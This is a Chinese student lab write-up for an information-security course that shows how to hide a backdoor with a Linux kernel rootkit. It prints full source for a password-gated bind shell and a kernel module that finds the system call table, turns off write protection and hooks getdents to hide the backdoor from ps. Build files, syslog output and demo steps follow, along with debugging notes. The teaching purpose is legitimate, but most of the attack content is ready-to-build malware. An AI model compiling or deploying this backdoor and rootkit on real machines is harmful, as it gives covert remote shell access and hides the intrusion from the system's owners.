科軟-信息安全實驗3-Rootkit劫持系統調用

 目錄css

一 前言

文章不講解理論知識哈,想學習理論知識的,認真聽課😄,也能夠參考郭老師的講義:信息安全課程 ustcsse308html

對於Linux,我只是個半路闖進來的小白,作實驗過程當中常常會被Linux內核玩得懷疑人生。因此我以爲頗有必要先闡明實驗的環境,以避免各位同窗不當心掉坑裏。固然,若是你就是想爬坑,咱也攔不住😄node

實驗環境 / 工具:linux

你可能用得上的網站:android

相關實驗:c++

回到目錄git

二 Talk is cheap, show me the code

代碼是參考往屆學長的,而後本身DIY了下。參考自:Rootkit-LKM編程劫持系統調用,隱藏後門程序backdoor(ps,ls)github

Makefile(再次強調一遍,不要更改Makefile文件的名稱,而且因爲make命令的限制,make -C ... 的前面必須是2個tab(不能將tab轉爲空格) shell

1 obj-m += lcx-pshider.o
2 
3 all:
4         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5 clean:
6         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
View Code

backdoor.c編程

 1 #include <stdio.h>
 2 #include <sys/socket.h>
 3 #include <unistd.h>
 4 #include <netinet/in.h>
 5 #include <stdlib.h>
 6 #include <string.h>
 7 
 8 #define BUFF_SIZE 128
 9 #define PORT      1234
10 
11 int main(int argc, char argv[]) {
12     int i, listenfd, acptfd;
13     pid_t pid;
14     char buf[BUFF_SIZE];
15     socklen_t sklen;
16     struct sockaddr_in saddr;
17     struct sockaddr_in caddr;
18     char enterpass[32] = "Password: ";
19     char welcome[32] = "Welcome\n";
20     char password[5] = "1234";
21     char sorry[50] = "Connection failure, error password";
22 
23     if ((listenfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
24         perror("socket creation error");
25         exit(1);
26     }
27     bzero(&saddr, sizeof(saddr));
28     saddr.sin_family = AF_INET;
29     saddr.sin_addr.s_addr = htonl(INADDR_ANY);
30     saddr.sin_port = htons(PORT);
31 
32     if (bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0 
33         || listen(listenfd, 20) < 0) {
34         exit(1);
35     }
36     sklen = sizeof(caddr);
37 
38     while (1) {
39         acptfd = accept(listenfd, (struct sockaddr *)&caddr, &sklen);
40         if ((pid = fork()) > 0) {
41             exit(0);
42         } else if (!pid) {
43             close(listenfd);
44             write(acptfd, enterpass, strlen(enterpass));
45             memset(buf, '\0', BUFF_SIZE);
46             read(acptfd, buf, BUFF_SIZE);
47             if (strncmp(buf, password, strlen(password)) != 0) {
48                 write(acptfd, sorry, strlen(sorry));
49                 close(acptfd);
50                 exit(0);
51             } else {
52                 write(acptfd, welcome, strlen(welcome));
53                 dup2(acptfd, 0);
54                 dup2(acptfd, 1);
55                 dup2(acptfd, 2);
56                 execl("/bin/sh", "backdoor", NULL);
57             }
58         }
59     }
60     close(acptfd);
61     return 0;
62 }
View Code

lcx-pshider.c

  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/uaccess.h>
  4 #include <linux/slab.h>
  5 #include <linux/fs.h>
  6 #include <linux/string.h>
  7 
  8 /* https://elixir.bootlin.com/linux/v4.10.17/source/fs/readdir.c#L150
  9  * http://www.man7.org/linux/man-pages/man2/getdents.2.html
 10  * http://www.man7.org/linux/man-pages/man3/readdir.3.html
 11  */
 12 struct linux_dirent {
 13     unsigned long   d_ino;     /* Inode number */
 14     unsigned long   d_off;     /* Offset to next linux_dirent */
 15     unsigned short  d_reclen;  /* Length of this linux_dirent */
 16     char            d_name[1]; /* Filename (null-terminated) */
 17 };
 18 
 19 static unsigned long **sys_call_table;
 20 
 21 /* The system call getdents() reads several linux_dirent structures 
 22  * from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. 
 23  * The argument count specifies the size of that buffer.
 24  */
 25 long (*orig_getdents)(unsigned int fd,
 26                       struct linux_dirent __user *dirp,
 27                       unsigned int count);
 28 
 29 void disable_write_protection(void) {
 30     unsigned long cr0 = read_cr0();
 31     clear_bit(16, &cr0);
 32     write_cr0(cr0);
 33 }
 34 
 35 void enable_write_protection(void) {
 36     unsigned long cr0 = read_cr0();
 37     set_bit(16, &cr0);
 38     write_cr0(cr0);
 39 }
 40 
 41 /**
 42  * 獲取 PID 的長度
 43  * 1) 若當前<dirent>是由命令<ps>產生的結果,則返回PID的長度,如:
 44  *     d_name = "2904" => return 4
 45  * 2) 若當前<dirent>不是由命令<ps>產生的結果,則返回-1,如:
 46  *     d_name = "kcore" => return -1
 47  * @author southday
 48  * @date 2019.05.01
 49  */
 50 int get_pid_len(char *d_name) {
 51     int len = 0;
 52     char *p;
 53     for (p = d_name+strlen(d_name)-1; p >= d_name; p--) {
 54         if (*p >= '0' && *p <= '9')
 55             len++;
 56         else
 57             return -1;
 58     }
 59     return len;
 60 }
 61 
 62 /**
 63  * 判斷當前<dirent>是否須要過濾
 64  * 假設進程<backdoor>的PID爲5930,則/proc/5930/status文件的第一行就包含<backdoor>進程的名稱,以下:
 65  * > cat /proc/5930/status | head -n 1
 66  *   Name:   backdoor
 67  * 根據匹配/proc/${PID}/status中的進程名稱來決定是否過濾該<dirent>
 68  * @author southday
 69  * @date 2019.05.01
 70  */
 71 int need_filter(char *d_name) {
 72     int isneed = 0, pidlen = 0;
 73     struct file *fp;
 74     mm_segment_t fs;
 75     loff_t pos;
 76     char *buf = NULL;
 77     char *fpath = NULL;
 78     char *proc = "/proc/";
 79     char *status = "/status";
 80 
 81     if ((pidlen = get_pid_len(d_name)) < 0)
 82         goto out;
 83 
 84     buf = (char *)kmalloc(64, GFP_KERNEL);
 85     fpath = (char *)kmalloc(pidlen+14, GFP_KERNEL);
 86     if (buf == NULL || fpath == NULL)
 87         goto out;
 88 
 89     // e.g: /proc/2842/status
 90     memmove(fpath, (char *)proc, 6);            // /proc/
 91     memmove(fpath+6, (char *)d_name, pidlen);   // /proc/2842
 92     memmove(fpath+6+pidlen, (char *)status, 7); // /proc/2842/status
 93     fpath[13+pidlen] = '\0';
 94     printk("pid = %s, pidlen = %d\n", d_name, pidlen);    
 95     printk("fpath = %s\n", fpath);
 96 
 97     fp = filp_open(fpath, O_RDONLY, 0000);
 98     if (IS_ERR(fp)) {
 99         printk("file open error, file path: %s\n", fpath);
100         goto out;
101     }
102 
103     fs = get_fs(); // 取當前fs值
104     set_fs(KERNEL_DS); // 設置fs值,忽略對用戶空間地址的檢查
105     pos = 0;
106     /* ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos);
107      * 1) 第2個參數被 __user* 修飾,表示buffer應該指向用戶空間的內存,而這裏的buf指向的是內核空間的內存;
108      * 2) 若是不進行set_fs(KERNEL_DS)設置,vfs_read()函數會返回失敗-EFAULT;
109      * 3) set_fs(KERNEL_DS) 繞過對buffer所指內存空間的檢查,讓下面的vfs_read()函數得以繼續進行;
110      */
111     vfs_read(fp, buf, 64, &pos);
112     if (strstr(buf, "backdoor") != NULL) {
113         isneed = 1;
114         printk("read: \n%s\n", buf); // Name: backdoor
115     }
116     filp_close(fp, NULL);
117     set_fs(fs); // 恢復fs
118 out:
119     kfree(buf);
120     kfree(fpath);
121     return isneed;
122 }
123 
124 /**
125  * 系統調用劫持函數,劫持ps,過濾掉名爲 backdoor 的進程
126  * @author southday
127  * @date 2019.05.01
128  */
129 asmlinkage long hack_getdents(unsigned int fd,
130                               struct linux_dirent __user *dirp,
131                               unsigned int count) {
132     int number = 0, copylen = 0;
133     struct linux_dirent *filtered_dirp, // 指向已完成過濾的<dirent>
134                         *orig_dirp,     // 指向原始的<dirent>
135                         *td1, *td2;     // 用於遍歷、鏈接的臨時指針
136 
137     /* 若是不設置td1, td2,直接用filtered_dirp和orig_dirp進行遍歷和鏈接,
138      * 那麼在kfree()時就會有問題,由於這兩個指針的值已經改變了
139      */
140     if ((number = (*orig_getdents)(fd, dirp, count)) == 0)
141         return 0;
142 
143     filtered_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
144     td1 = filtered_dirp;
145     orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
146     td2 = orig_dirp;
147     copy_from_user(orig_dirp, dirp, number);
148 
149     while (number > 0) {
150         number -= td2->d_reclen;
151         // 鏈表尾插法,忽略掉要過濾的內容,將要保留的<dirent>一個個的插到鏈表td1尾部
152         if (!need_filter(td2->d_name)) {
153             memmove(td1, (char *)td2, td2->d_reclen);
154             td1 = (struct linux_dirent *)((char *)td1 + td2->d_reclen);
155             copylen += td2->d_reclen;
156         }
157         td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen);
158     }
159 
160     copy_to_user(dirp, filtered_dirp, copylen);
161     kfree(orig_dirp);
162     kfree(filtered_dirp);
163     return copylen;
164 }
165 
166 /**
167  * 獲取 sys_call_table 的首地址
168  * @author southday
169  * @date 2019.05.01
170  */
171 unsigned long ** find_sct(void) {
172     u64 lstar, i;
173     void *lstar_sct_addr = NULL;
174 
175     // 將寄存器MSR_LSTAR中的值讀到lstar中,該值是system_call處理例程的地址
176     rdmsrl(MSR_LSTAR, lstar);
177     for (i = 0; i <= PAGE_SIZE; i += 1) {
178         u8 *arr = (u8 *)lstar + i;
179         /* 搜索負責進行系統調用的代碼段,匹配call指令機器碼
180          * call disp32(,%rax,8) ==> FF 14 C5 -- -- -- --
181          * 1) FF 14 C5 是entry_SYSCALL_64的機器碼
182          * 2) disp32 是SCT的首地址
183          */
184         if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
185             lstar_sct_addr = arr + 3;
186             break;
187         }
188     }
189     // 擴展爲64位,由於SCT首地址符號位爲1,因此前面32位直接補1就能夠
190     return lstar_sct_addr == NULL ? NULL : (void *)(0xffffffff00000000 | *(u32 *)lstar_sct_addr);
191 }
192 
193 static int filter_init(void) {
194     printk("fitler_init\n");
195     sys_call_table = find_sct();
196     if (!sys_call_table) {
197         printk("sys_call_table = NULL\n");
198         return 0;
199     }
200     orig_getdents = (void *)sys_call_table[__NR_getdents];
201     printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
202     disable_write_protection();
203     sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents;
204     enable_write_protection();
205     printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents);
206     printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
207     return 0;
208 }
209 
210 static void filter_exit(void) {
211     disable_write_protection();
212     sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents;
213     enable_write_protection();
214     printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
215     printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
216     printk("fitler_exit\n");
217 }
218 
219 MODULE_LICENSE("GPL");
220 module_init(filter_init);
221 module_exit(filter_exit);
View Code

回到目錄

三 前期準備

主要關注下 ls 和 ps 關於 direntry 的區別

測試代碼:pshider.c

  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/uaccess.h>
  4 #include <linux/slab.h>
  5 
  6 /* https://elixir.bootlin.com/linux/v4.10.17/source/fs/readdir.c#L150
  7  * http://www.man7.org/linux/man-pages/man2/getdents.2.html
  8  * http://www.man7.org/linux/man-pages/man3/readdir.3.html
  9  */
 10 struct linux_dirent {
 11     unsigned long   d_ino;     /* Inode number */
 12     unsigned long   d_off;     /* Offset to next linux_dirent */
 13     unsigned short  d_reclen;  /* Length of this linux_dirent */
 14     char            d_name[1]; /* Filename (null-terminated) */
 15 };
 16 
 17 static unsigned long **sys_call_table;
 18 
 19 long (*orig_getdents)(unsigned int fd,
 20                       struct linux_dirent __user *dirp,
 21                       unsigned int count);
 22 
 23 void disable_write_protection(void) {
 24     unsigned long cr0 = read_cr0();
 25     clear_bit(16, &cr0);
 26     write_cr0(cr0);
 27 }
 28 
 29 void enable_write_protection(void) {
 30     unsigned long cr0 = read_cr0();
 31     set_bit(16, &cr0);
 32     write_cr0(cr0);
 33 }
 34 
 35 asmlinkage long hack_getdents(unsigned int fd,
 36                               struct linux_dirent __user *dirp,
 37                               unsigned int count) {
 38     int number, temp;
 39     struct linux_dirent *orig_dirp, // original dirent data
 40                         *td2;       // traverse pointer
 41 
 42     if ((number = (*orig_getdents)(fd, dirp, count)) == 0)
 43         return 0;
 44 
 45     temp = number;
 46     orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
 47     td2 = orig_dirp;
 48     copy_from_user(orig_dirp, dirp, number);
 49     while (number > 0) {
 50         printk("%lu -> %s\n", td2->d_ino, td2->d_name);
 51         number -= td2->d_reclen;
 52         td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen);
 53     }
 54     kfree(orig_dirp);
 55     return temp;
 56 }
 57 
 58 unsigned long ** find_sct(void) {
 59     u64 lstar, i;
 60     void *lstar_sct_addr = NULL;
 61 
 62     rdmsrl(MSR_LSTAR, lstar);
 63     for (i = 0; i <= PAGE_SIZE; i += 1) {
 64         u8 *arr = (u8 *)lstar + i;
 65         if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
 66             lstar_sct_addr = arr + 3;
 67             break;
 68         }
 69     }
 70     return lstar_sct_addr == NULL ? NULL : (void *)(0xffffffff00000000 | *(u32 *)lstar_sct_addr);
 71 }
 72 
 73 static int filter_init(void) {
 74     printk("fitler_init\n");
 75     sys_call_table = find_sct();
 76     if (!sys_call_table) {
 77         printk("sys_call_table = NULL\n");
 78         return 0;
 79     }
 80     orig_getdents = (void *)sys_call_table[__NR_getdents];
 81     printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
 82     disable_write_protection();
 83     sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents;
 84     enable_write_protection();
 85     printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents);
 86     printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
 87     return 0;
 88 }
 89 
 90 static void filter_exit(void) {
 91     disable_write_protection();
 92     sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents;
 93     enable_write_protection();
 94     printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
 95     printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
 96     printk("fitler_exit\n");
 97 }
 98 
 99 MODULE_LICENSE("GPL");
100 module_init(filter_init);
101 module_exit(filter_exit);
View Code

insmod後,tail -f /var/log/syslog 查看日誌:

ls命令,d_name 都是文件名

 1 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ sudo insmod pshider.ko
 2 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ ls
 3 log.sh    modules.order   pshider.c   pshider.mod.c  pshider.o
 4 Makefile  Module.symvers  pshider.ko  pshider.mod.o
 5 
 6 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ tail -f /var/log/syslog
 7 May  1 00:10:07 ubuntu kernel: [  367.437543] fitler_init
 8 May  1 00:10:07 ubuntu kernel: [  367.437545] original system call getdents, the address is 0xffffffffb0e599a0
 9 May  1 00:10:07 ubuntu kernel: [  367.437548] hacked system call getdents, the address is 0xffffffffc029b000
10 May  1 00:10:07 ubuntu kernel: [  367.437549] modify sct success! sys_call_table[__NR_getdents] address is 0xffffffffc029b000
11 May  1 00:10:10 ubuntu kernel: [  369.661008] 278608 -> pshider.mod.c
12 May  1 00:10:10 ubuntu kernel: [  369.661008] 278587 -> Makefile
13 May  1 00:10:10 ubuntu kernel: [  369.661009] 278754 -> .pshider.o.cmd
14 May  1 00:10:10 ubuntu kernel: [  369.661009] 278605 -> pshider.o
15 May  1 00:10:10 ubuntu kernel: [  369.661009] 278756 -> .pshider.ko.cmd
16 May  1 00:10:10 ubuntu kernel: [  369.661009] 278610 -> pshider.ko
17 May  1 00:10:10 ubuntu kernel: [  369.661010] 278606 -> pshider.mod.o
18 May  1 00:10:10 ubuntu kernel: [  369.661010] 278841 -> .pshider.mod.o.cmd
19 May  1 00:10:10 ubuntu kernel: [  369.661010] 278607 -> modules.order
20 May  1 00:10:10 ubuntu kernel: [  369.661010] 278753 -> .tmp_versions
21 May  1 00:10:10 ubuntu kernel: [  369.661010] 278752 -> .
22 May  1 00:10:10 ubuntu kernel: [  369.661011] 278603 -> pshider.c
23 May  1 00:10:10 ubuntu kernel: [  369.661011] 278580 -> ..
24 May  1 00:10:10 ubuntu kernel: [  369.661011] 278832 -> log.sh
25 May  1 00:10:10 ubuntu kernel: [  369.661011] 278609 -> Module.symvers
26 ...
27 May  1 00:10:36 ubuntu kernel: [  396.198553] original system call getdents, the address is 0xffffffffb0e599a0
28 May  1 00:10:36 ubuntu kernel: [  396.198554] hack module removed! sys_call_table[__NR_getdents] address is 0xffffffffb0e599a0
29 May  1 00:10:36 ubuntu kernel: [  396.198554] fitler_exit
View Code

ps命令,d_name 是進程PID

 1 lcx@ubuntu:~/Documents/InfoSecLab/E3$ ./backdoor &
 2 [1] 2826
 3 
 4 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ sudo insmod pshider.ko
 5 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ ps -aux | grep backdoor
 6 lcx        2826  0.0  0.0   4224   648 pts/19   S    00:20   0:00 ./backdoor
 7 lcx        2842  0.0  0.0  21292   928 pts/6    S+   00:21   0:00 grep --color=auto backdoor
 8 
 9 lcx@ubuntu:~/Documents/InfoSecLab/E3/pshider$ tail -f /var/log/syslog
10 May  1 00:20:49 ubuntu kernel: [ 1009.460784] fitler_init
11 May  1 00:20:49 ubuntu kernel: [ 1009.460786] original system call getdents, the address is 0xffffffffb0e599a0
12 May  1 00:20:49 ubuntu kernel: [ 1009.460790] hacked system call getdents, the address is 0xffffffffc029b000
13 May  1 00:20:49 ubuntu kernel: [ 1009.460790] modify sct success! sys_call_table[__NR_getdents] address is 0xffffffffc029b000
14 May  1 00:21:01 ubuntu kernel: [ 1020.909999] 1 -> .
15 May  1 00:21:01 ubuntu kernel: [ 1020.910000] 1 -> ..
16 May  1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531963 -> fb
17 May  1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531846 -> fs
18 May  1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531854 -> bus
19 May  1 00:21:01 ubuntu kernel: [ 1020.910001] 4026532028 -> dma
20 May  1 00:21:01 ubuntu kernel: [ 1020.910001] 4026531858 -> irq
21 May  1 00:21:01 ubuntu kernel: [ 1020.910002] 4026532408 -> mpt
22 May  1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531844 -> net
23 May  1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531855 -> sys
24 May  1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531849 -> tty
25 May  1 00:21:01 ubuntu kernel: [ 1020.910002] 4026531965 -> acpi
26 May  1 00:21:01 ubuntu kernel: [ 1020.910003] 4026532045 -> keys
27 May  1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531996 -> kmsg
28 May  1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531967 -> misc
29 May  1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531961 -> mtrr
30 May  1 00:21:01 ubuntu kernel: [ 1020.910003] 4026531969 -> scsi
31 May  1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531991 -> stat
32 May  1 00:21:01 ubuntu kernel: [ 1020.910004] 4026532024 -> iomem
33 May  1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531995 -> kcore
34 May  1 00:21:01 ubuntu kernel: [ 1020.910004] 4026531983 -> locks
35 May  1 00:21:01 ubuntu kernel: [ 1020.910004] 4026532037 -> swaps
36 ...
37 May  1 00:21:01 ubuntu kernel: [ 1020.910013] 14359 -> 1
38 May  1 00:21:01 ubuntu kernel: [ 1020.910014] 227 -> 2
39 May  1 00:21:01 ubuntu kernel: [ 1020.910014] 231 -> 4
40 May  1 00:21:01 ubuntu kernel: [ 1020.910014] 235 -> 6
41 May  1 00:21:01 ubuntu kernel: [ 1020.910014] 237 -> 7
42 May  1 00:21:01 ubuntu kernel: [ 1020.910015] 239 -> 8
43 May  1 00:21:01 ubuntu kernel: [ 1020.910015] 241 -> 9
44 May  1 00:21:01 ubuntu kernel: [ 1020.910015] 243 -> 10
45 May  1 00:21:01 ubuntu kernel: [ 1020.910015] 245 -> 11
46 May  1 00:21:01 ubuntu kernel: [ 1020.910015] 247 -> 12
47 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 249 -> 13
48 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 251 -> 14
49 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 253 -> 15
50 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 255 -> 16
51 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 259 -> 18
52 May  1 00:21:01 ubuntu kernel: [ 1020.910016] 261 -> 19
53 May  1 00:21:01 ubuntu kernel: [ 1020.910017] 263 -> 20
54 ...
55 May  1 00:21:01 ubuntu kernel: [ 1020.910061] 31098 -> 2826
56 May  1 00:21:01 ubuntu kernel: [ 1020.910061] 31098 -> 2826
57 ...
58 May  1 00:21:50 ubuntu kernel: [ 1070.023470] original system call getdents, the address is 0xffffffffb0e599a0
59 May  1 00:21:50 ubuntu kernel: [ 1070.023471] hack module removed! sys_call_table[__NR_getdents] address is 0xffffffffb0e599a0
60 May  1 00:21:50 ubuntu kernel: [ 1070.023471] fitler_exit
View Code

👉 根據PID獲取進程名&根據進程名獲取PID

回到目錄

四 效果演示

1 後門程序運行效果

1)在 mice 上裝上後門程序 backdoor,後臺運行該程序;

2)hacker 用 nc 鏈接上後門程序,能夠得到一個shell,如圖:

2 在 mice 中載入內核模塊 lcx-pshider.ko

1)載入前執行 ps

2)載入內核模塊 lcx-pshider.ko,查看日誌 tail -f /var/log/syslog,執行 ps

3)執行 ps,發現 backdoor 被隱藏了

4)移除內核模塊 lcx-pshider,再次執行 ps,backdoor 現身了

回到目錄

五 遇到的問題&解決

1 warning: missing sentinel in function call

backdoor.c:55:17: warning: missing sentinel in function call [-Wformat=]
                  execl("/bin/sh", "backdoor", 0);
                  ^~~~~
// sentinel  /'sentɪn(ə)l/,n. 哨兵

將代碼改成:execl("/bin/sh", "backdoor", (char *)0);
或者改成:execl("/bin/sh", "backdoor", NULL);

1.1 bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)

#include <sys/types.h>
#include <sys/socket.h>
int bind(int socket, const struct sockaddr* my_addr, socklen_t addrlen);

bind將my_addr所指的socket地址分配給未命名的sockfd文件描述符,addrlen參數指出該socket地址的長度。
調用成功返回0, 失敗返回-1,並設置errno;

1.2 listen(listenfd, 20)

#include <sys/socket.h>
int listen(int sockfd, int backlog);

建立一個監聽隊列以存放待處理的客戶鏈接。
1)sockfd參數指定被監聽的socket;
2)backlog參數提示內核監聽隊列的最大長度。若是監聽隊列的長度超過backlog,服務器將不受理新的客戶鏈接,客戶端也將收到ECONNREFUSED錯誤信息。在內核版本2.2以前,backlog是指全部處於半鏈接狀態(SYN_RCVD)和徹底鏈接狀態(ESTABLISHED)的socket上限。但在內核版本2.2之後, 它只表示處於徹底鏈接狀態的socket上限,處於半鏈接狀態的socket上限則由/proc/sys/net/ipv4/tcp_max_syn_backlog內核參數定義。
backlog參數的典型值爲5;調用成功時返爲0,失敗時爲-1,並設置errno;

1.3 accept(listenfd, (struct sockaddr *)&caddr, &sklen)

#include <sys/types.h>
#include <sys/socket.h>
int accept(int sockfd, struct sockaddr* addr, socklen_t *addrlen);

sockfd參數是執行過listen調用的監聽socket。addr參數用來獲取被接受鏈接的遠端socket地址,該地址的長度由addrlen參數指出。
調用成功時返回一個新的鏈接socket,該socket惟一標識了被接受的這個鏈接,服務器可經過讀寫該socket來與客戶端通訊;失敗時返回-1,並設置errno;

1.一、1.二、1.3,參考資料:linux網絡編程二:基礎socket, bind, listen, accept, connect

2 Linux 內核 4.8.17 中 copy_from_user() 和 copy_to_user()

在:<linux/uaccess.h> 中;參考:

還可能引出的問題:

./arch/x86/include/asm/uaccess.h:32:9: error: dereferencing pointer to incomplete type ‘struct task_struct’
  current->thread.addr_limit = fs;
         ^~

把代碼中的 #include <asm/uaccess.h> 替換爲 #include <linux/uaccess.h>,不要兩個都引入;

回到目錄

3 編譯時的 waring:ISO C90 forbids mixed declarations and code

/home/lcx/Documents/InfoSecLab/E3/ls_hide.c:69:5: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
     unsigned long *lstar_sct_addr = (unsigned long *)get_lstar_sct_addr();
     ^~~~~~~~

把變量 *lstar_sct_addr 的聲明放到函數的最前面:

參考:ISO C90 forbids mixed declarations and code in C

4 rmmod module error

這個問題我沒解決;

rmmod:rmmod: ERROR: Module ls_hide is in use;
rmmod: ERROR: ../libkmod/libkmod-module.c:793 kmod_module_remove_module() could not remove 'ls_hide': Device or resource busy
rmmod: ERROR: could not remove module ls_hide: Device or resource busy

5 如何根據PID獲取到進程名稱

mice 後臺運行 backdoor:> ./backdoor &
查看進程:> ps aux | tail -n 3

根據進程PID找到進程名稱:> cat /proc/3010/status | head -n 10

6 char *strstr(const char *haystack, const char *needle) 的使用;

參考:C語言(函數)學習之strstr strcasestr

 1 #include <stdio.h>
 2 #include <string.h>
 3 
 4 int main() {
 5     char *s = "http://see.xidian.edu.cn/cpp/u/xitong/";
 6     char *r = NULL;
 7     if ((r = strstr(s, "xidian")) != NULL)
 8         printf("%s\n", r);
 9     if ((r = strstr(s, "xcvklweu")) != NULL)
10         printf("%s\n", r);
11     return 0;
12 }
13 // 輸出
14 xidian.edu.cn/cpp/u/xitong/
View Code

7 u8 u64 等意思

參考:C 語言printf打印各類數據類型的方法(u8/s8/u16/s16.../u64/double/float)(全)

 1 typedef signed char s8;
 2 typedef unsigned char u8;
 3   
 4 typedef signed short s16;
 5 typedef unsigned short u16;
 6   
 7 typedef signed int s32;
 8 typedef unsigned int u32;
 9   
10 typedef signed long long s64;
11 typedef unsigned long long u64;
View Code

8 什麼是 getdents()?readdir()?

getdents,getdents64 —— get directory entries

struct dirent {
   ino_t          d_ino;       /* Inode number */
   off_t          d_off;       /* Not an offset; see below */
   unsigned short d_reclen;    /* Length of this record */
   unsigned char  d_type;      /* Type of file; not supported
                                  by all filesystem types */
   char           d_name[256]; /* Null-terminated filename */
};

參考:

The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.

參考:https://elixir.bootlin.com/linux/v4.18.17/source/include/linux/syscalls.h#L444

回到目錄

9 關於 struct linux_dirent,struct linux_dirent64

在 fs/readdir.c 中有 linux_dirent 的定義,以下:

struct linux_dirent {
    unsigned long   d_ino;
    unsigned long   d_off;
    unsigned short  d_reclen;
    char        d_name[1];
};

你能夠在 ps_hider.c 文件中定義本身的 linux_dirent 結構體,或者使用 linux/dirent.h 中定義好的 linux_dirent64 結構體,以下:

struct linux_dirent64 {
    u64     d_ino;
    s64     d_off;
    unsigned short  d_reclen;
    unsigned char   d_type;
    char        d_name[0];
};
// 須要包含頭文件 <linux/dirent.h>

參考:

10 什麼是 GLIBC?
1)GNU C庫(英語:GNU C Library,常簡稱爲glibc)是一種按照LGPL許可協議發佈的,自由的,公開源代碼的,方便從網絡下載的C的編譯程序。GNU C運行期庫,是一種C函數庫,是程序運行時使用到的一些API集合,它們通常是已預先編譯好,以二進制代碼形式存在Linux類系統中,GNU C運行期庫一般做爲GNU C編譯程序的一個部分發布。
2)Glibc最初是自由軟件基金會(FSF)爲其GNU操做系統所寫,但當前最主要的應用是配合Linux內核,成爲GNU/Linux操做系統一個重要的組成部分。
參考:GNU C庫:https://zh.wikipedia.org/wiki/GNU_C%E5%87%BD%E5%BC%8F%E5%BA%AB

11 __user 修飾符的做用?

在下面的代碼中使用了__user:

asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){}

解釋:

  • __user代表參數是一個用戶空間的指針,不能在kernel代碼中直接訪問。也方便其它工具對代碼進行檢查;
  • 它容許像sparse這樣的工具告訴內核開發人員他們可能使用不可信的指針(或者在當前虛擬地址映射中可能無效的指針)不正確。

參考:

12 error: function declaration isn’t a prototype

/home/lcx/Documents/InfoSecLab/E3/pshider/lcx-ps_hider.c:5:6: error: function declaration isn’t a prototype [-Werror=strict-prototypes]
void disable_write_protection() {
      ^~~~~~~~~~~~~~~~~~~~~~~~

從新定義函數爲:void disable_write_protection(void) {}

13 爲何 sys_call_table 的類型要聲明爲 unsigned long **?

參考的代碼 ps_hide.c 中有代碼:

static unsigned long **sys_call_table;

在 arch/x86/kernel/syscall_64.c 中找到 sys_call_table 的定義:

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
    /*
     * Smells like a compiler bug -- it doesn't work
     * when the & below is removed.
     */
    [0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};

在 arch/x86/include/asm/syscall.h 中找到 sys_call_ptr_t 的定義:

typedef asmlinkage long (*sys_call_ptr_t)(unsigned long, unsigned long,
                                          unsigned long, unsigned long,
                                          unsigned long, unsigned long);
extern const sys_call_ptr_t sys_call_table[];

時間有限,我也只追查到這個程度;
個人理解是:

  • sys_call_table[] 中保存的是一系列系統調用的函數指針;
  • 每個函數指針(函數)都是返回 long類型數據,而且有一組 unsigned long 類型的參數;

參考:

回到目錄

14 void * 指針的做用?

void的意思就是「無類型」,void指針則爲「無類型指針」,void指針能夠指向任何類型的數據。因此void指針通常被稱爲通用指針或者泛指針,或者叫作萬能指針。
